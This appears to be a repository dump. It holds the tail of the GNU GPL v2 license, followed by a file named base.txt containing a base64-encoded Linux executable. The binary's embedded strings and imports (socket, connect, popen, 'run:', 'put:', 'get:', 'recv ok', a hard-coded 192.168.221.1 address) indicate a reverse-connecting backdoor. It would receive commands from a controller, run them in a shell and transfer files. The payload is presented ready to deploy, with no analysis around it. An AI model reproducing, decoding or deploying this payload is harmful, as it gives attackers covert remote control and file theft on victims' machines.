MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS -------------------------------------------------------------------------------- /bash/base.txt: -------------------------------------------------------------------------------- 1 | f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAMA0AAAAAAABAAAAAAAAAAIAuAAAAAAAAAAAAAEAAOAAJ 2 | AEAAHQAcAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA+AEAAAAAAAD4AQAAAAAAAAgA 3 | AAAAAAAAAwAAAAQAAAA4AgAAAAAAADgCAAAAAAAAOAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA 4 | AAAAAAABAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgbAAAAAAAAuBsAAAAAAAAAACAA 5 | AAAAAAEAAAAGAAAA0BwAAAAAAADQHCAAAAAAANAcIAAAAAAAQAMAAAAAAABwBwAAAAAAAAAAIAAA 6 | AAAAAgAAAAYAAADgHAAAAAAAAOAcIAAAAAAA4BwgAAAAAAAAAgAAAAAAAAACAAAAAAAACAAAAAAA 7 | AAAEAAAABAAAAFQCAAAAAAAAVAIAAAAAAABUAgAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAA 8 | AFDldGQEAAAApBkAAAAAAACkGQAAAAAAAKQZAAAAAAAAZAAAAAAAAABkAAAAAAAAAAQAAAAAAAAA 9 | UeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAABS 10 | 5XRkBAAAANAcAAAAAAAA0BwgAAAAAADQHCAAAAAAADADAAAAAAAAMAMAAAAAAAABAAAAAAAAAC9s 11 | aWI2NC9sZC1saW51eC14ODYtNjQuc28uMgAEAAAAEAAAAAEAAABHTlUAAAAAAAMAAAACAAAAAAAA 12 | AAQAAAAUAAAAAwAAAEdOVQCHniBQJnoMKB6eFhf+PKTJ575nwQEAAAABAAAAAQAAAAAAAAAAAAAA 13 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARwAAABIAAAAAAAAAAAAAAAAAAAAA 14 | AAAAhQAAABIAAAAAAAAAAAAAAAAAAAAAAAAA1AAAABIAAAAAAAAAAAAAAAAAAAAAAAAAfQAAABIA 15 | AAAAAAAAAAAAAAAAAAAAAAAAEQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAZQAAABIAAAAAAAAAAAAA 16 | AAAAAAAAAAAABQEAABIAAAAAAAAAAAAAAAAAAAAAAAAA5wAAABIAAAAAAAAAAAAAAAAAAAAAAAAA 17 | /wAAABIAAAAAAAAAAAAAAAAAAAAAAAAAzQAAABIAAAAAAAAAAAAAAAAAAAAAAAAArgAAABIAAAAA 18 | AAAAAAAAAAAAAAAAAAAAkgAAABIAAAAAAAAAAAAAAAAAAAAAAAAAcQAAABIAAAAAAAAAAAAAAAAA 19 | AAAAAAAA8AAAABIAAAAAAAAAAAAAAAAAAAAAAAAAtQAAABIAAAAAAAAAAAAAAAAAAAAAAAAA4QAA 20 | ABIAAAAAAAAAAAAAAAAAAAAAAAAAzgAAABIAAAAAAAAAAAAAAAAAAAAAAAAAGgEAABIAAAAAAAAA 21 | AAAAAAAAAAAAAAAAwwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAqQAAABIAAAAAAAAAAAAAAAAAAAAA 22 | AAAAQgEAACAAAAAAAAAAAAAAAAAAAAAAAAAAowAAABIAAAAAAAAAAAAAAAAAAAAAAAAAdwAAABIA 23 | AAAAAAAAAAAAAAAAAAAAAAAA2wAAABIAAAAAAAAAAAAAAAAAAAAAAAAAbAAAABIAAAAAAAAAAAAA 24 | AAAAAAAAAAAATAAAABIAAAAAAAAAAAAAAAAAAAAAAAAA/gAAABIAAAAAAAAAAAAAAAAAAAAAAAAA 25 | LQAAACAAAAAAAAAAAAAAAAAAAAAAAAAACwEAACIAAAAAAAAAAAAAAAAAAAAAAAAAjQAAABIAAAAA 26 | AAAAAAAAAAAAAAAAAAAAvAAAABIAAAAAAAAAAAAAAAAAAAAAAAAA9wAAABIAAAAAAAAAAAAAAAAA 27 | AAAAAAAAXgAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGxpYnB0aHJlYWQuc28uMABfSVRNX2RlcmVn 28 | aXN0ZXJUTUNsb25lVGFibGUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQByZWN2AGNvbm5lY3QA 29 | bGliYy5zby42AHNvY2tldABzdHJjcHkAZXhpdABodG9ucwBmb3BlbgBzdHJuY21wAHN0cm5jcHkA 30 | Zm9yawBfX3N0YWNrX2Noa19mYWlsAHBvcGVuAGZlb2YAc3RybGVuAG1lbXNldABzdHJzdHIAaW5l 31 | dF9hZGRyAGZjbG9zZQByZW1vdmUAYnplcm8AYWxhcm0AcmVhZGxpbmsAcGNsb3NlAHVzbGVlcABm 32 | d3JpdGUAZnJlYWQAX19jeGFfZmluYWxpemUAX19saWJjX3N0YXJ0X21haW4AR0xJQkNfMi40AEdM 33 | SUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAAAAAAIAAwADAAMAAAADAAMAAwACAAMAAwAEAAMAAwAD 34 | AAMAAgADAAMAAwAAAAMAAwADAAMAAgADAAAAAwADAAMAAwADAAAAAQACAFQAAAAQAAAAMAAAABRp 35 | aQ0AAAQALAEAABAAAAB1GmkJAAADADYBAAAAAAAAAQABAAEAAAAQAAAAAAAAAHUaaQkAAAIANgEA 36 | AAAAAADQHCAAAAAAAAgAAAAAAAAAMA4AAAAAAADYHCAAAAAAAAgAAAAAAAAA8A0AAAAAAAAIICAA 37 | AAAAAAgAAAAAAAAACCAgAAAAAADYHyAAAAAAAAYAAAAFAAAAAAAAAAAAAADgHyAAAAAAAAYAAAAS 38 | AAAAAAAAAAAAAADoHyAAAAAAAAYAAAAVAAAAAAAAAAAAAADwHyAAAAAAAAYAAAAcAAAAAAAAAAAA 39 | AAD4HyAAAAAAAAYAAAAdAAAAAAAAAAAAAAD4HiAAAAAAAAcAAAABAAAAAAAAAAAAAAAAHyAAAAAA 40 | AAcAAAACAAAAAAAAAAAAAAAIHyAAAAAAAAcAAAADAAAAAAAAAAAAAAAQHyAAAAAAAAcAAAAEAAAA 41 | AAAAAAAAAAAYHyAAAAAAAAcAAAAGAAAAAAAAAAAAAAAgHyAAAAAAAAcAAAAHAAAAAAAAAAAAAAAo 42 | HyAAAAAAAAcAAAAIAAAAAAAAAAAAAAAwHyAAAAAAAAcAAAAJAAAAAAAAAAAAAAA4HyAAAAAAAAcA 43 | AAAKAAAAAAAAAAAAAABAHyAAAAAAAAcAAAALAAAAAAAAAAAAAABIHyAAAAAAAAcAAAAMAAAAAAAA 44 | AAAAAABQHyAAAAAAAAcAAAANAAAAAAAAAAAAAABYHyAAAAAAAAcAAAAOAAAAAAAAAAAAAABgHyAA 45 | AAAAAAcAAAAPAAAAAAAAAAAAAABoHyAAAAAAAAcAAAAQAAAAAAAAAAAAAABwHyAAAAAAAAcAAAAR 46 | AAAAAAAAAAAAAAB4HyAAAAAAAAcAAAATAAAAAAAAAAAAAACAHyAAAAAAAAcAAAAUAAAAAAAAAAAA 47 | AACIHyAAAAAAAAcAAAAWAAAAAAAAAAAAAACQHyAAAAAAAAcAAAAXAAAAAAAAAAAAAACYHyAAAAAA 48 | AAcAAAAYAAAAAAAAAAAAAACgHyAAAAAAAAcAAAAZAAAAAAAAAAAAAACoHyAAAAAAAAcAAAAaAAAA 49 | AAAAAAAAAACwHyAAAAAAAAcAAAAbAAAAAAAAAAAAAAC4HyAAAAAAAAcAAAAeAAAAAAAAAAAAAADA 50 | HyAAAAAAAAcAAAAfAAAAAAAAAAAAAADIHyAAAAAAAAcAAAAgAAAAAAAAAAAAAADQHyAAAAAAAAcA 51 | AAAhAAAAAAAAAAAAAABIg+wISIsFrRQgAEiFwHQC/9BIg8QIwwAAAAAAAAAAAP81khMgAP8llBMg 52 | AA8fQAD/JZITIABoAAAAAOng/////yWKEyAAaAEAAADp0P////8lghMgAGgCAAAA6cD/////JXoT 53 | IABoAwAAAOmw/////yVyEyAAaAQAAADpoP////8lahMgAGgFAAAA6ZD/////JWITIABoBgAAAOmA 54 | /////yVaEyAAaAcAAADpcP////8lUhMgAGgIAAAA6WD/////JUoTIABoCQAAAOlQ/////yVCEyAA 55 | aAoAAADpQP////8lOhMgAGgLAAAA6TD/////JTITIABoDAAAAOkg/////yUqEyAAaA0AAADpEP// 56 | //8lIhMgAGgOAAAA6QD/////JRoTIABoDwAAAOnw/v///yUSEyAAaBAAAADp4P7///8lChMgAGgR 57 | AAAA6dD+////JQITIABoEgAAAOnA/v///yX6EiAAaBMAAADpsP7///8l8hIgAGgUAAAA6aD+//// 58 | JeoSIABoFQAAAOmQ/v///yXiEiAAaBYAAADpgP7///8l2hIgAGgXAAAA6XD+////JdISIABoGAAA 59 | AOlg/v///yXKEiAAaBkAAADpUP7///8lwhIgAGgaAAAA6UD+////JboSIABoGwAAAOkw/v///yXS 60 | EiAAZpAAAAAAAAAAADHtSYnRXkiJ4kiD5PBQVEyNBZoLAABIjQ0jCwAASI09xQkAAP8VhhIgAPQP 61 | H0QAAEiNPakSIABVSI0FoRIgAEg5+EiJ5XQZSIsFWhIgAEiFwHQNXf/gZi4PH4QAAAAAAF3DDx9A 62 | AGYuDx+EAAAAAABIjT1pEiAASI01YhIgAFVIKf5IieVIwf4DSInwSMHoP0gBxkjR/nQYSIsFIRIg 63 | AEiFwHQMXf/gZg8fhAAAAAAAXcMPH0AAZi4PH4QAAAAAAIA9KRIgAAB1L0iDPfcRIAAAVUiJ5XQM 64 | SIs9+hEgAOgN////6Ej////GBQESIAABXcMPH4AAAAAA88NmDx9EAABVSInlXelm////VUiJ5UiD 65 | 7BC6AAQAAEiNNfIRIABIjT2jCgAA6Gb9//+JRfyDffwAeAmBffz/AwAAfge4AAAAAOsYi0X8SGPQ 66 | SI0FwBEgAMYEAgBIjQW1ESAAycNVSInlSIPsQEiJfciJdcRkSIsEJSgAAABIiUX4McC6AAAAAL4B 67 | AAAAvwIAAADoUf7//4lF3IN93AB5Cr//////6N79//9IjUXgvhAAAABIicfovf3//2bHReACAItF 68 | xA+3wInH6Br9//9miUXiSItFyEiJx+ha/f//iUXkSI1N4ItF3LoQAAAASInOicfoof3//4XAeRSL 69 | RdyJx+gj/f//v//////oef3//4tF3EiLVfhkSDMUJSgAAAB0Beiy/P//ycNVSInlSIPsIIl97EiJ 70 | deCLRey6CgAAAEiNNZkJAACJx+hb/P//SItF4LoAEAAAvgAAAABIicfopfz//0iLdeCLRey5AAAA 71 | ALoAEAAAicfovfv//4lF/IN9/P91Cr//////6Pr8//+LRfzJw1VIieVIgewwBAAASIm92Pv//0iJ 72 | tdD7//9kSIsEJSgAAABIiUX4McBIjZXw+///uAAAAAC5gAAAAEiJ1/NIq0iLldj7//9IjYXw+/// 73 | SInWSInH6I37//9Ii4XQ+///uiQTAAC+AAAAAEiJx+gE/P//SI2F8Pv//0iNNdgIAABIicfoPvz/ 74 | /0iJhej7//9Ig73o+///AHRqx4Xk+///AAAAAJBIi4Xo+///SInH6AP8//+FwHUqSIuV6Pv//0iL 75 | hdD7//9IidG6JBMAAL4BAAAASInH6Bz7//+JheT7//+QSIuF6Pv//0iJx+h2+///SMeF6Pv//wAA 76 | AACLheT7///rBbgAAAAASItN+GRIMwwlKAAAAHQF6Cr7///Jw1VIieVTSIHseCAAAIm9nN///0iJ 77 | tZDf//9IiZWI3///ZEiLBCUoAAAASIlF6DHASIuFkN///0iNNf8HAABIicfo0/v//0iJhcjf//9I 78 | i4XI3///xgAAx4Wg3///AAAAAMeFpN///wAAAABIi4WQ3///ugQAAABIjTXKBwAASInH6DP6//+F 79 | wA+F1QAAAIOFoN///wTrB4OFoN///wGLhaDf//9IY9BIi4WQ3///SAHQD7YAPCB034uFoN///4mF 80 | qN///+sHg4Wo3///AYuFqN///0hj0EiLhZDf//9IAdAPtgA8CnQhi4Wo3///SGPYSIuFkN///0iJ 81 | x+ga+v//SIPoAUg5w3K+i4Wo3///K4Wg3///g8ABSGPQi4Wg3///SGPISIuFkN///0gBwUiNheDv 82 | //9Iic5IicfoWvn//0iLlYjf//9IjYXg7///SInWSInH6Iz9//+JhaTf///puwQAAEiLhZDf//+6 83 | BAAAAEiNNdcGAABIicfoO/n//4XAD4VyAgAAg4Wg3///BOsHg4Wg3///AYuFoN///0hj0EiLhZDf 84 | //9IAdAPtgA8IHTf6weDhaDf//8Bi4Wg3///SGPQSIuFkN///0gB0A+2ADwgdd/rB4OFoN///wGL 85 | haDf//9IY9BIi4WQ3///SAHQD7YAPCB034uFoN///4mFrN///+sHg4Ws3///AYuFrN///0hj0EiL 86 | hZDf//9IAdAPtgA8CnQ7i4Ws3///SGPYSIuFkN///0iJx+jc+P//SIPoAUg5w3Mai4Ws3///SGPQ 87 | SIuFkN///0gB0A+2ADwgdaSLhazf//8rhaDf//9IY9CLhaDf//9IY8hIi4WQ3///SAHBSI2F4N// 88 | /0iJzkiJx+gF+P//i4Wc3///ugYAAABIjTWsBQAAicfoTPj//0iNheDf//9IjTWeBQAASInH6Pb4 89 | //9IiYXY3///SMeFwN///wAAAABIjYXg7///ugAQAAC+AAAAAEiJx+hr+P//SI214O///4uFnN// 90 | /7kAAAAAugAQAACJx+h99///iYWw3///g72w3///AH57SI2F4O///0iNNTMFAABIicfo6Pj//0iJ 91 | hcDf//9Ig73A3///AHQaSIuVwN///0iNheDv//9IKcJIidCJhbDf//+LhbDf//9IY9BIi43Y3/// 92 | SI2F4O///74BAAAASInH6Hn4//+Jhbzf//+Lhbzf//87hbDf//90JOswg72w3////3UZSIuF2N// 93 | /0iJx+hb9///v//////oIfj//0iDvcDf//8AD4QP////SIuF2N///0iJx+g09///i4Wc3///uggA 94 | AABIjTWBBAAAicfoC/f//7gAAAAA6SwCAABIi4WQ3///ugQAAABIjTVmBAAASInH6Kb2//+FwA+F 95 | AwIAAIOFoN///wTrB4OFoN///wGLhaDf//9IY9BIi4WQ3///SAHQD7YAPCB034uFoN///4mFtN// 96 | /+sHg4W03///AYuFtN///0hj0EiLhZDf//9IAdAPtgA8CnQ7i4W03///SGPYSIuFkN///0iJx+iN 97 | 9v//SIPoAUg5w3Mai4W03///SGPQSIuFkN///0gB0A+2ADwgdaSLhbTf//8rhaDf//9IY9CLhaDf 98 | //9IY8hIi4WQ3///SAHBSI2F4N///0iJzkiJx+i29f//i4Wc3///ugYAAABIjTVdAwAAicfo/fX/ 99 | /0iNheDf//9IjTVsAwAASInH6Kf2//9IiYXQ3///SIO90N///wB1I4uFnN///7oUAAAASI01RAMA 100 | AInH6L31//+//////+iT9v//SI2F4O///7oAEAAAvgAAAABIicfo+vX//0iLldDf//9IjYXg7/// 101 | SInRugAQAAC+AQAAAEiJx+hX9f//iYW43///g7243///AH4ii4W43///SGPQSI2N4O///4uFnN// 102 | /0iJzonH6Ej1///rCYO9uN////90GUiLhdDf//9IicfozvX//4XAD4Rz////6wGQSIuF0N///0iJ 103 | x+gk9f//i4Wc3///ugwAAABIjTWvAgAAicfo+/T//4uFnN///7oIAAAASI01owIAAInH6OL0//+4 104 | AAAAAOsGi4Wk3///SItd6GRIMxwlKAAAAHQF6PH0//9IgcR4IAAAW13DVUiJ5UiB7FAjAABkSIsE 105 | JSgAAABIiUX4McC4AAAAAOj99v//SImFyNz//0iLhcjc//9IicfoLfT//8eFuNz///////+Dhbjc 106 | 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 140 | 